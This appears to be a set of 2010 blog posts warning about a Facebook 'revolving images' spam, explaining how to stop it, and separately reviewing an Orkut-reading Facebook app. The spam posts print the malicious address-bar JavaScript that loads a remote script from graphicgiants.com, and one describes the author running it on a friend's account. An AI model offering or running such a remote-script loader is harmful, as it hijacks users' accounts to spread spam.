f you are reading this post then I’m assuming that you happen to be one of those unfortunate users who unknowingly copy pasted the following script into their browser address bars hoping to see revolving images on Facebook. If I happen to be wrong and you are not even remotely aware of anything I’m saying then do not under any circumstances use the script below.
1 | javascript:(a = (b = document).createElement("script")).src = " |
Chances are that the spam has started to become a PITA and you want to get rid of it. But how? It’s fairly easy and was pointed out to me by one of my readers, Zahid. Great guy I must say. If this solution works for you then do thank him in the comments. He deserves it.
The spam is making wall posts and is updating users’ status’. To do this, it is using the a not so newly launched Facebook feature called “Upload Via E-mail”. It is a unique personal Email address given to every user which allows one to post status updates or send photos and videos straight to one’s profile. The spam has recorded this Email address of yours and is using it to update your status. Thankfully, Facebook lets you change this E-mail ID. This is how you can do it.
Find “More Facebook Mobile Products” written somwhere down. Find “Upload Via Email“. Click “Find out more“.
Step 2: Now look at the image below and click exactly where it says “..refresh your upload email.” or exactly where you see the cursor in the image.
Step 3: Now press reset. Don’t worry, your computer will not crumble to pieces. At least, not yet.
Step 4: If you see an image something like this (below) then you are done for the day. The spam won’t work anymore.
And please don’t go about entering random JavaScript in your browsers anymore.
Lesson for day for you: JavaScript can be very malicious.
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⌨ Friday, November 26, 2010
UPDATE: You can get rid of this spam now! Click here for how to!
Spam and Facebook are like synonyms or more like 2 point on a circle. Facebook spams you by sending Emails a hell lot more than required and then people spam Facebook (and hence you) by making some stupid yet ingenious Javascripts which require a a click of the mouse to be turned on and create havock. After the video in which a teacher nearly kills a boy, a new spam is on the
prowl
rounds. It is being named “REvolving images” for some very obvious.
The problem with the script is that not only does it start an irritating image revolving thing it promised (which can be thankfully stopped by refreshing the page) it posts the following message on some of the users’ friends’ walls’
Clicking the link takes you here (see the image posted above) which tells you to copy paste a JavaScript which will rotate your images (which it does). Obviously, it doesn’t tell you about the spam thing. This is the JavaScript:
1 | javascript:(a = (b = document).createElement("script")).src = "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0) |
Don’t use this script under any circumstances. On a different note, I tried using the script. After copy pasting it and pressing Enter a dialog box popped up
I pressed OK and withing 3 seconds, the aforementioned message was posted on the walls of 7 of my friends (I was using my friend Sonal Verma’s account. You can see the spam message in the image). However, no message has been posted after those 7. Needless to say, I went to my friends’ walls and removed my posts. There is no doubt that this thing is irritating and because of the posting link thing, it has become viral. The damage it does is not lasting but is done very quickly and the user is not notified of any of the link posting that took place using his account.
Unlike other applications, this spam doesn’t even ask for any kind of permission whatsoever.
If you are really interested in doing the image revolving trick use this safe piece of JavaScript code. Copy Paste the code into your browser’s address bar and press Enter. Enjoy. To disable the script, refresh the page. Unlike the one given above (the spam script), this JavaScript is safe and will cause no damage at all.
1 | javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0); |
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If you are on Facebook and Orkut at the same time, this one Facebook application is for you! It is developed by Jeetu Mirchandani (former IIT Bombay Student, working for Amazon, India) so that you can read scraps via Orkut!
Through this application you can view Orkut users profiles, photos, scrapbook, videos & fans with this! So this can be used as limited proxy in places where Orkut is banned but Facebook is not. This is the situation with most Asian countries including India where Facebook is yet to catch up with popularity of Orkut!
#Installation on Facebook
- Login to your Facebook account.
- Click here to go to application page. You will be greeted with a page like below. Click on Add Application Link.
- It will ask for confirmation like other Facebook application. Also it will ask for inviting your friends which is optional and can be skipped!
- Next Put your Orkut profile URL in field shown below…
- Thats it. You will end up on a page which will look like your Orkut Profile page
This application does not require your Orkut login ID & password, but I personally feel it should take it to give more feature!
As of now claimed to be working feature – Writing Scrap is not working. Surprisingly big blogger like Amit Agrawal did not bother to test it before writing about it!
I feel the feature is implemented using fake Orkut account to send scraps on your behalf. As this applications user base grew this feature is now getting blocked by Orkut CATCHPA.
Anyway its nice start by Jeetu and another option for you to access Orkut!
